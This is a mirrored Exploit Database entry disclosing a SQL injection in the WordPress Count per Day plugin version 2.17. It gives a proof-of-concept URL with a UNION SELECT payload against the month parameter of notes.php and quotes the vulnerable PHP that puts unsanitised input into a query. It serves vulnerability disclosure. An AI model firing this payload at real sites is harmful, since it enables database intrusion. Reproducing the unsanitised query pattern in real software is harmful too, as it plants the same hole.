WordPress Plugin Count per Day 2.17 – SQL Injection

• Exploit Database
• 85 阅读

• 作者： Miroslav Stampar
  日期： 2011-09-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17857/

• # Exploit Title: WordPress Count per Day plugin <= 2.17 SQL Injection Vulnerability
  # Date: 2011-09-05
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/count-per-day.2.17.zip
  # Version: 2.17 (tested)
  # Note: Authors done one of dirtiest things I've seen in a while :)
  # I've warned them 2 weeks ago about the vulnerability
  # They've silently updated the affected v2.17 like nothing happened
  # No mention of "security" fix in Changelog
  
  ---
  PoC
  ---
  http://www.site.com/wp-content/plugins/count-per-day/notes.php?month=-1 UNION ALL SELECT 1,version(),current_user()--%20
  
  ---------------
  Vulnerable code
  ---------------
  if ( isset($_POST['month']) )
  	$month = $_POST['month']; // they've put (int) here
  else if ( isset($_GET['month']) )
  	$month = $_GET['month'];// they've put (int) here
  else	
  	$month = date_i18n('m');
  ...
  $where = '';
  if ( $month )
  	$where .= " AND MONTH(date) = $month "; 
  if ( $year )
  	$where .= " AND YEAR(date) = $year ";
  $notes = $wpdb->get_results('SELECT * FROM '.$table_prefix.'cpd_notes WHERE 1 '.$where.' ORDER BY date DESC', ARRAY_A);
  

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